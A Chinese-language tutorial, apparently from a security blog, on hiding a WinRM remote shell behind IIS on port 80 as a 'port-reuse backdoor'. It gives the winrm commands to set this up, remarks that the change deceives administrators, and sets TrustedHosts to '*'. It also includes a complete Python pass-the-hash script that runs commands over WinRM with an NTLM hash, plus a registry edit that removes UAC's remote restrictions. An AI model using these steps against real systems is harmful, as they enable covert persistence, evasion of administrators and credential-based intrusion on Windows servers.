端口复用技术(上)-winRM
原理
基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。
- WinRM服务
WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。 - HTTP.sys驱动
HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。
系统默认有10个DACl,可以通过netsh http show urlacl看到具体内容,其中5985是http端口,5986是https。
开启WinRM服务
在2012及以上的服务器版本中,默认开启,监听端口5985,可以不用手动开启。
对于Windows 2008来说,需要使用命令来启动WinRM服务,运行后会自动添加防火墙例外规则,放行5985端口。
winrm quickconfig -q
此时默认端口是5985,需要设置成80端口(默认的IIS)。
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{URLPrefix="abc"} # 设置URI
我这里测试的是一台2012,默认开了就改下端口。直接执行下面的命令:
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} # 新增80端口监听
winrm set winrm/config/service @{EnableCompatibilityHttpListener="false"} # 删除80端口监听
其他一些常用的命令:
netsh http show servicestate # 查看注册的URL
winrm e winrm/config/listener # 查看监听设置
winrm get winrm/config # 查看配置
此时5985端口是保留的,在一些特殊情况下可以修改默认端口为80,用于迷惑管理员,正常2012以上版本的还是建议保留5985。
此时访问端口80,还是正常的iis服务。
客户端连接
本地需要连接WinRM服务时,首先也需要配置启动WinRM服务,然后需要设置信任连接的主机,执行以下两条命令即可。
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
然后设置明文连接执行命令,格式如下:
winrs -r:http://xxx.xxx.xxx.xxx -u:administrator -p:password whoami
将执行命令whoami替换成cmd,可以得到一个交互式的shell。
现在很多情况下是无法读到明文,只能读到NTLM-hash,这里借鉴别的源码给出python实现的winrs连接脚本。
# encoding: utf-8
import argparse
import urlparse
import requests
import winrm
import sys
def GetUrlState(url):
r = requests.get(url)
if r.status_code == 405:
return True
else:
return False
def ParseUrl(url):
parse = urlparse.urlparse(url)
uri = parse.path
ip = parse.netloc
port = 80 if parse.port is None else parse.port
return ip,port,uri
def RunCmd(ip,port,uri,cmd,**kwargs):
if kwargs.get("hashpasswd"):
try:
Windwoscmd = winrm.Session('http://' + ip + ":" + str(port) + uri, auth=(kwargs.get("user"), '00000000000000000000000000000000:'+kwargs.get("hashpasswd")),
transport="ntlm", server_cert_validation='ignore')
Result = Windwoscmd.run_cmd(str(cmd))
sys.stdout.write(Result.std_err.decode('gbk'))
sys.stdout.write(Result.std_out.decode('gbk'))
sys.stdout.write('\n')
except Exception as ex:
print "[+]> Hash发生错误:" + str(ex)
else:
try:
Windwoscmd = winrm.Session('http://' + ip + ":" + str(port) + uri, auth=(kwargs.get("user"), kwargs.get("passwd")),
transport="basic", server_cert_validation='ignore')
Result = Windwoscmd.run_cmd(str(cmd))
sys.stdout.write(Result.std_err.decode('gbk'))
sys.stdout.write(Result.std_out.decode('gbk'))
sys.stdout.write('\n')
except Exception as ex:
print "[+]> Pass发生错误:" + str(ex)
if __name__ == '__main__':
#windows 2008上面是LM-HASH:NTLM-HASH的方式,需要修改源代码,去掉上面的一堆0加上冒号
example_text = '''example:
python winrs.py -r http://192.168.1.2:5985/wsman -u administrator -H xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -c "whoami"
'''
parser = argparse.ArgumentParser(description='WinRMTTools, only work >= Windows Server 2012',epilog=example_text)
parser.add_argument("-r", "--remote", metavar="", required=True, help="http://192.168.1.26:5985/wsman")
parser.add_argument("-u", "--user", metavar="", help="username", default="administrator")
parser.add_argument("-p", "--passwd", metavar="", help="password", default="")
parser.add_argument("-H", "--hashpasswd", metavar="", help="NTLM-Hash", default="")
parser.add_argument("-c", "--command", metavar="", help="cmd", default="whoami")
args = parser.parse_args()
if GetUrlState(args.remote):
ip, port, uri = ParseUrl(args.remote)
RunCmd(ip, port, uri, args.command, user=args.user, passwd=args.passwd, hashpasswd=args.hashpasswd)
else:
print "[*]> Windwos WinRM服务未开启请检查服务是否开启!"
使用的时候直接:
python winrs.py -r http://192.168.1.2:5985/wsman -u administrator -H xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -c "whoami"
注意问题
UAC问题
WinRM服务也是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
修改后,就可以用其他管理员进行登录,且返回的权限也是最高的权限。